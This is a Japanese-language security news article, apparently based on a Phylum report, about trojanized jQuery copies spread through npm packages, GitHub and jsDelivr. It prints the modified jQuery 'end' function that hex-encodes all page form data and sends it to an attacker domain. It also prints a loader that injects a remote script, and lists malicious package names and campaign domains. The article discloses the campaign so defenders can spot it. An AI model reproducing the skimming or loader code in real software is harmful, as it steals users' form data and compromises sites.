トロイの木馬化された「jQuery」がnpmやGitHubで拡散

トロイの木馬化された「jQuery」がnpmやGitHubで拡散

海外のセキュリティ企業「Phylum」はトロイの木馬化された「jQuery」がnpmやGitHub、jsDelivr のCDNホストで拡散している事を指摘しました。

「jQuery」を悪用したサプライチェーン攻撃の概要

Phylumは 2024 年 5 月 26 日以来、トロイの木馬化された jQuery のバージョンを悪用する執拗なサプライ チェーン攻撃者を監視しており、最初に npm でこのjQuery を悪用する亜種を発見しました。

そこでは、1 か月にわたって数十のパッケージで侵害されたバージョンが公開されていました。

なお、今回解説されている内容は正規の「jQuery」へ今回のトロイの木馬が紛れ込んでいるのではなく、

jQueryのサプライチェーン攻撃は高い可変性が特徴

この攻撃はパッケージ間の高い可変性が特徴です。

公開されたパッケージは比較的最小限でありながら、

データを送信するURLはパッケージごとにほぼユニークで、攻撃者は新しいユーザー名を使ってnpmに公開していました。

時折、単一のユーザーが複数の関連するパッケージを公開することもありましたし、プロジェクト内で異なる名前の複数のファイルバージョンを含むこともありました。

興味深いことに、ほとんどのパッケージにはnpmキャッシュフォルダー、npmログフォルダー、termux.propertiesファイルなど、npm公開には通常含まれない個人的なファイルも含まれていました。

全体として、この攻撃は通常我々が見る規模のものとは異なり、明確なパターンや自動化された側面が見られません。

ここでは、パッケージのアドホックな性質とカスタムの可変性、そして長期間にわたる公開が、各パッケージが手動で組み立てられ公開されたことを示唆しています。

jQueryのサプライチェーン攻撃の内容

前述のように、各パッケージには jQuery のコピーが含まれていましたが、小さな違いが 1 つありました。

それは、jQueryプロトタイプの一部であるend関数が、追加の悪意のあるコードを含むように修正されていることです。以下がその部分です:

end: async function () {
  await $.ajax({
    url: "<https://anti-spam>[.]truex[.]biz[.]id/halo/?cat=" + (function (e) {
      for (var t, n = 0, r = e.length, i = ""; n < r; ++n)
        i += (t = e.charCodeAt(n).toString(16)).length < 2 ? "0" + t : t;
      return i;
    })($("form").serialize()),
    type: "GET",
    dataType: "text",
    headers: { "Content-type": "application/json" },
  });
}

jQueryのドキュメントによると、このendメソッドは

現在のチェーン内の最新のフィルタリング操作を終了し、一致した要素のセットを以前の状態に戻すと記載されています。

上記の通りendメソッドは単に前のオブジェクトを返します。しかし、悪意のあるコードでは、攻撃者は$.ajaxを介してリモートURLへの非ブロッキングGETリクエストを発行しています。

URLには、パッケージごとに異なるクエリパラメータ(ここでは$(“form”).serialize()によってページ上のすべてのフォームデータをシリアライズして生成)が含まれます。

シリアライズされたデータは16進文字列にエンコードされます。

fadeToメソッドがendメソッドを利用している

しかし、jQueryライブラリの他の部分を見てみると、jQueryのアニメーションツールキットのfadeToメソッドがendメソッドを使用していることがわかります。

fadeToはendよりも広く使用されています。

fadeToメソッドの関連スニペット

fadeTo: function (e, t, n, r) {
  return this.filter(ae)
    .css("opacity", 0)
    .show()
    .end()
    .animate({ opacity: t }, e, n, r);
}

indexscというユーザーがトロイの木馬化されたjQueryファイルをホスト

GitHubでindexscというユーザーがトロイの木馬化されたjQueryファイルの複数のバージョンをホストしていることも判明しました。

画像引用:Phylum

ajaxリポジトリにトロイの木馬化されたjQueryを発見

画像引用:Phylum

興味深いことに、icons.jsとmin.jsの両方に、リモートソースから新しいスクリプトタグを追加するスクリプトが含まれています。

Ionicons を非推奨である警告を生成し、古いバージョンへ置き換えを促す

!function (e) { 
    var t = ["[ionicons] Deprecated script, please remove: " + (s = e.scripts[e.scripts.length - 1]).outerHTML]; 
    t.push("To improve performance it is recommended to set the differential scripts in the head as follows:"); 
    var n = s.src.split("/"); 
    n.pop(); 
    n.push("ionicons"); 
    var s; 
    n.join("/"); 
    (s = e.createElement("script")).setAttribute("type", "module"), s.src = "<https://unpkg.com/ionicons@5.0.0/dist/ionicons/ionicons.esm.js>", 
    t.push(s.outerHTML), 
    s.setAttribute("data-stencil-namespace", "ionicons"), 
    e.head.appendChild(s), 
    (s = e.createElement("script")).setAttribute("nomodule", ""), 
    s.src = "<https://unpkg.com/ionicons@5.0.0/dist/ionicons/ionicons.js>", 
    t.push(s.outerHTML), 
    s.setAttribute("data-stencil-namespace", "ionicons"), 
    e.head.appendChild(s), 
    console.warn(t.join("\\n")) 
}(document), 

function () { 
    var e = document.createElement("script"); 
    e.type = "text/javascript"; 
    e.src = "<https://cdn.jsdelivr.net/gh/indexsc/libs/slim.js>"; 
    document.body.appendChild(e); 
}();

上記スクリプトも疑わしいものです。

これは奇妙なことで、なぜなら、Ionicons の v5.0.0 は 2020 年 2 月にリリースされたからです。現在のバージョンは 7.4.0 で、2024 年 5 月にリリースされました。

ユーザーに ionicons の v5.0.0 を強制した後、ドキュメントの本文に新しいスクリプト要素を追加し、そのソースを https://cdn[.]jsdelivr[.]net/gh/indexsc/libs/slim.jsに設定します。

これも非常に疑わしいもので、当然のことながら、そこへ移動すると、これもトロイの木馬化されたバージョンであることがわかります。

jsdelivrを明示的に指定しファイアウォールをすり抜ける

画像引用:Phylum

jsdelivrはこれらのGitHub URLを自動的に生成し、CDNに明示的にアップロードする必要がないことに注意が必要です。

攻撃者の意図は不明 しかし潜在的な影響は広い

Phylumの研究者らは、マルウェアが起動するには、

・ユーザーが悪意のあるパッケージの 1 つをインストールし

・含まれているトロイの木馬化された jQuery ファイルを使用して

・end 関数または fadeTo関数のいずれかを呼び出す必要がある

と指摘しました。

特定の条件が複数あるため、高度に標的を絞った攻撃なのか、攻撃者が広範囲にのユーザーにランダムに影響を与えたいのか意図は不明です。

しかしパッケージの数の多さ、命名規則の多様性、パッケージ内に個人ファイルが含まれていることなどから、攻撃者の能力と意図について疑問が生じており、

これらの要素は、実際のマルウェア自体の洗練された性質や、その悪意を明白に隠すための努力とは対照的です。

マルウェアを作動させるために必要な条件は限られていますが、パッケージが広く配布されているため、潜在的な影響は広く、多くの無防備な開発者に影響を与える可能性があり、

この新しい攻撃は、サプライ チェーンの脅威アクターの複雑さと範囲の広さが増していることを示す好例だと述べています。

「jQuery」のサプライチェーン攻撃に関連するパッケージ

人気のだったBootstrapCloudやFont Awesomeが含まれています。

リリース日名前バージョン
2024-06-23icnes8.0.0
2024-06-23stylesyosx9.0.3
2024-06-22imagegs1.0.0
2024-06-22yorz3.0.0
2024-06-21kurxjy9.0.0
2024-06-20kinthailxzz1.0.0
2024-06-19ganz2.0.1
2024-06-19kikos1.0.0
2024-06-17rgmedia3.7.2
2024-06-17rgmedia213.7.3
2024-06-17ngentot3.7.1
2024-06-17mediaa2.0.0
2024-06-16jquerrty3.0.0
2024-06-16styyle3.0.0
2024-06-16my-gh8.0.1
2024-06-16sytlesheets3.0.0
2024-06-16stylessheet3.0.0
2024-06-15styleshteks2.0.0
2024-06-15fontawessome9.0.1
2024-06-15fontawesom-19.0.1
2024-06-14nesiahanzz1.0.0
2024-06-14dsiailon1.0.0
2024-06-14footersicons3.0.0
2024-06-14footericonss3.6.0
2024-06-14footericonds3.7.1
2024-06-14fontawesome-32.0.0
2024-06-14fontawesom-42.0.0
2024-06-13jquertyi3.6.4
2024-06-13fontawesome-29.0.1
2024-06-13stylishteksz2.0.0
2024-06-13stylescss9.0.1
2024-06-12dsiain1.0.0
2024-06-11logoo2.0.0
2024-06-11stylishhteks2.0.1
2024-06-10imagezz1.0.0
2024-06-10stylishtekss3.0.0
2024-06-10stylesheeet9.0.1
2024-06-09dnuhstng2.0.0
2024-06-09stylishteks2.0.0
2024-06-09mobiletrack9.0.0
2024-06-09fontaway9.0.0
2024-06-08sttylee9.0.1
2024-06-06kontolq9.0.1
2024-06-06kimakq9.0.1
2024-06-05awokkdyaa9.0.1
2024-06-05vxcs9.0.1
2024-06-05kimakz9.0.1
2024-06-05xhyp9.0.1
2024-06-05xytta1.0.0
2024-06-05livinjs1.0.0
2024-06-04fontawesome-19.0.0
2024-06-04fontwesome9.0.0
2024-06-04footricon9.0.0
2024-06-04bootstrapcloud1.3.3
2024-06-04flammerxdjson9.0.1
2024-06-04ajexx9.0.0
2024-06-04komcay9.0.1
2024-06-04ajex9.0.1
2024-06-04komcaxx9.0.2
2024-06-04komcaxx9.0.1
2024-06-03komcax9.0.0
2024-06-03cloudhosting7.13.0
2024-06-02cloudhost7.13.0
2024-06-02bootrun3.9.7
2024-06-02xxxtesting1.2.0
2024-06-02bootstar9.4.8
2024-06-02jqueryxxx1.0.0
2024-05-26cdnjquery9.0.1

このキャンペーンで使用されたドメイン

https://paneljs[.]hanznesia[.]my[.]id
https://api-web-vrip[.]hanznesia[.]my[.]id
https://log[.]api-system[.]engineer
https://irisainginbos[.]icikipoxx[.]pw
https://patipride[.]icikipoxx[.]pw
https://apii[.]fukaes[.]ninja
https://pukil[.]dannew[.]biz[.]id
https://api[.]jstyy[.]xyz
https://qxue[.]biz[.]id
https://api[.]newrxl[.]online
https://api[.]iimg[.]my[.]id
https://apiweb[.]eventtss[.]my[.]id
https://pokemon[.]denii[.]biz[.]id
https://apii[.]codatuys[.]cab
https://api[.]codatuys[.]biz[.]id
https://saystem[.]ditzzultimate[.]xyz
https://paneljs[.]dimashost[.]xyz
https://cssimage[.]dimashost[.]xyz
https://ajax[.]failexpect[.]biz[.]id
https://ns[.]api-system[.]engineer
https://log[.]systems-alexhost[.]xyz
https://api-system[.]engineer
https://systems-alexhost[.]xyz
https://panel[.]api-bo[.]my[.]id
https://project[.]systemgoods[.]me
https://danu[.]eventtss[.]my[.]id
https://panel-host[.]clannesia[.]com
http://apii-pandawara[.]ganznesia[.]my[.]id
https://system-alexhosting[.]biz[.]id
https://nd[.]api-system[.]engineer
https://anti-spam[.]truex[.]biz[.]id
https://panel-host[.]dmdpanel[.]my[.]id
https://api-bo[.]my[.]id
TOPへ